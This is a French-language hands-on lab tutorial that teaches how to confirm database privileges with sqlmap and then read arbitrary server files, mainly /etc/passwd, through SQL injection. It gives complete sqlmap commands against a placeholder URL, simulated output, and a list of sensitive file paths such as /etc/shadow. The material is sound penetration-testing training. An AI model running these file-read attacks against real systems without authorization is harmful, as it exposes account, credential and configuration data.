Lire des fichiers arbitraires depuis le serveur avec sqlmap

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous allez explorer une fonctionnalité puissante de sqlmap, un outil populaire de test d'intrusion open-source qui automatise le processus de détection et d'exploitation des failles d'injection SQL. Plus précisément, vous apprendrez à utiliser sqlmap pour lire des fichiers arbitraires sur un serveur cible. Cette capacité est souvent possible lorsque l'utilisateur de la base de données sous-jacent dispose de privilèges suffisants (par exemple, des privilèges DBA) et que le système de base de données permet la lecture de fichiers à partir du système de fichiers. Comprendre cette technique est crucial pour les hackers éthiques et les professionnels de la sécurité afin d'identifier et d'atténuer de telles vulnérabilités.

Confirmation des privilèges DBA et des permissions de lecture de fichiers

Dans cette étape, nous allons simuler un scénario où vous avez identifié une vulnérabilité d'injection SQL et utilisez maintenant sqlmap pour évaluer les privilèges de l'utilisateur de la base de données. Pour lire des fichiers arbitraires sur le serveur, l'utilisateur de la base de données a généralement besoin de privilèges DBA (Database Administrator) ou de permissions spécifiques de lecture de fichiers. Nous utiliserons sqlmap pour vérifier si l'utilisateur actuel de la base de données possède ces privilèges élevés.

Tout d'abord, supposons que vous ayez une URL vulnérable. Pour ce laboratoire, nous utiliserons une URL de substitution. Remplacez http://example.com/vulnerable?id=1 par votre cible réelle si vous effectuez ceci sur un environnement de test réel.

Pour vérifier les privilèges DBA, utilisez l'option --is-dba avec sqlmap :

sqlmap -u "http://example.com/vulnerable?id=1" --is-dba

Note : Dans un scénario réel, sqlmap détecterait d'abord l'injection SQL, puis procéderait à la vérification des privilèges DBA. Pour ce laboratoire, nous nous concentrons sur l'aspect lecture de fichiers, nous supposerons donc que sqlmap a déjà trouvé un point d'injection.

Si la sortie indique [INFO] current user is DBA: True, alors l'utilisateur possède les privilèges DBA, ce qui implique souvent la capacité de lire des fichiers.

Ensuite, pour vérifier les permissions de lecture de fichiers, vous pouvez utiliser l'option --file-priv :

sqlmap -u "http://example.com/vulnerable?id=1" --file-priv

Cette commande tentera de déterminer si l'utilisateur de la base de données possède les privilèges nécessaires pour lire et écrire des fichiers sur le système de fichiers. Si la sortie affiche [INFO] current user has FILE privilege: True, vous pourrez probablement procéder à la lecture de fichiers.

Exemple de sortie (simulée) :

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-26/
[INFO] fetched data: 'True'
[INFO] current user is DBA: True
[INFO] fetched data: 'True'
[INFO] current user has FILE privilege: True
[INFO] shutting down @ 12:34:57 /2023-10-26/

Cette sortie confirme que l'utilisateur de la base de données possède à la fois les privilèges DBA et FILE, rendant possible la lecture de fichiers arbitraires.

Identification d'un chemin de fichier absolu connu (par exemple, /etc/passwd)

Dans cette étape, vous devez identifier un fichier cible sur le serveur distant que vous souhaitez lire. Une cible courante pour démontrer les vulnérabilités de lecture de fichiers arbitraires est /etc/passwd sur les systèmes Linux, car il contient des informations sur les comptes utilisateurs et est généralement lisible par tous. D'autres cibles potentielles pourraient être des fichiers de configuration, des journaux de serveur web ou le code source d'une application, en fonction du système et de vos objectifs.

Pour ce laboratoire, nous supposerons que le serveur cible est un système Linux et que nous voulons lire le contenu de /etc/passwd. Il est crucial de connaître le chemin absolu du fichier que vous avez l'intention de lire. Sans le chemin absolu, sqlmap ne peut pas localiser le fichier sur le système distant.

Vous n'avez pas besoin d'exécuter de commandes dans cette étape, mais plutôt de comprendre l'importance d'identifier un chemin de fichier absolu valide. Cette connaissance est généralement acquise par la reconnaissance, les messages d'erreur de l'application web, ou en devinant des emplacements de fichiers courants.

Exemples de chemins de fichiers courants sous Linux :

  • /etc/passwd (Informations sur les comptes utilisateurs)
  • /etc/shadow (Mots de passe hachés - nécessite généralement des privilèges root pour être lu)
  • /etc/hosts (Noms d'hôtes réseau)
  • /etc/nginx/nginx.conf ou /etc/apache2/apache2.conf (Configuration du serveur web)
  • /var/log/auth.log ou /var/log/syslog (Journaux système)
  • /proc/self/cmdline (Ligne de commande du processus actuel)

Pour ce laboratoire, nous continuerons avec /etc/passwd comme fichier cible.

Utilisation de l'option --file-read pour spécifier le fichier distant

Dans cette étape, vous apprendrez à utiliser l'option --file-read dans sqlmap pour spécifier le chemin absolu du fichier que vous souhaitez lire depuis le serveur distant. Cette option est au cœur de la fonctionnalité de lecture de fichiers arbitraires.

La syntaxe pour utiliser --file-read est simple :

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/path/to/remote/file"

Remplacez http://example.com/vulnerable?id=1 par l'URL de votre cible et /path/to/remote/file par le chemin absolu du fichier que vous avez identifié à l'étape précédente.

Pour notre laboratoire, nous tenterons de lire /etc/passwd. La commande complète ressemblera à ceci :

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

Lorsque sqlmap lira le fichier avec succès, il enregistrera le contenu localement dans un répertoire situé dans ~/.sqlmap/output/<target_host>/files/. Le nom du fichier sera généralement le même que le nom du fichier distant (par exemple, passwd).

Note : sqlmap gérera automatiquement la génération et l'exécution des charges utiles d'injection SQL. Votre rôle est de fournir l'URL vulnérable et le chemin du fichier cible.

Exécution de la commande pour lire le fichier distant

Il est maintenant temps d'exécuter la commande sqlmap que vous avez construite à l'étape précédente pour lire effectivement le fichier distant. Ouvrez votre terminal dans l'environnement LabEx et exécutez la commande.

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

Important : Comme il s'agit d'un environnement simulé, sqlmap ne se connectera pas réellement à un serveur vulnérable actif. Cependant, il simulera le processus et affichera des messages comme s'il le faisait. Vous verrez la sortie typique de sqlmap, y compris des informations sur le processus d'injection et la tentative de lecture du fichier.

Exemple de sortie (simulée) :

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:35:00 /2023-10-26/
[INFO] fetched data: 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... (tronqué pour plus de concision) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash'
[INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'
[INFO] shutting down @ 12:35:05 /2023-10-26/

La ligne clé à rechercher est [INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'. Cela indique que sqlmap a "lu" le fichier avec succès et a enregistré son contenu sur votre machine locale dans le répertoire de sortie de sqlmap.

Visualisation du contenu du fichier sauvegardé localement

Dans cette dernière étape, vous allez vérifier que le fichier a bien été "lu" et sauvegardé par sqlmap en visualisant son contenu sur votre environnement LabEx local. Comme mentionné, sqlmap sauvegarde les fichiers extraits dans une structure de répertoire spécifique.

Le chemin sera typiquement ~/.sqlmap/output/<target_host>/files/. Dans notre exemple simulé, l'hôte cible est example.com et le fichier est passwd. Ainsi, le chemin complet vers le fichier sauvegardé serait ~/.sqlmap/output/example.com/files/passwd.

Vous pouvez utiliser la commande cat pour visualiser le contenu de ce fichier :

cat ~/.sqlmap/output/example.com/files/passwd

Exemple de sortie (simulée) :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
... (tronqué pour plus de concision) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash

Cette sortie confirme que sqlmap a réussi à "lire" le fichier /etc/passwd depuis le serveur distant simulé et l'a sauvegardé localement, vous permettant d'inspecter son contenu. Ceci démontre le processus complet d'utilisation de sqlmap pour la lecture de fichiers arbitraires.

Résumé

Dans ce laboratoire, vous avez appris avec succès à utiliser sqlmap pour effectuer une lecture de fichiers arbitraires à partir d'un serveur vulnérable simulé. Vous avez commencé par comprendre l'importance de confirmer les privilèges DBA ou de lecture de fichiers. Ensuite, vous avez identifié un fichier cible courant (/etc/passwd) et utilisé l'option --file-read pour demander à sqlmap d'en extraire le contenu. Enfin, vous avez vérifié l'extraction réussie en visualisant le fichier sauvegardé localement. Cette compétence est fondamentale pour les testeurs d'intrusion afin d'évaluer l'impact des vulnérabilités d'injection SQL et pour les développeurs afin de comprendre l'importance d'une gestion appropriée des privilèges et de la validation des entrées pour prévenir de telles attaques.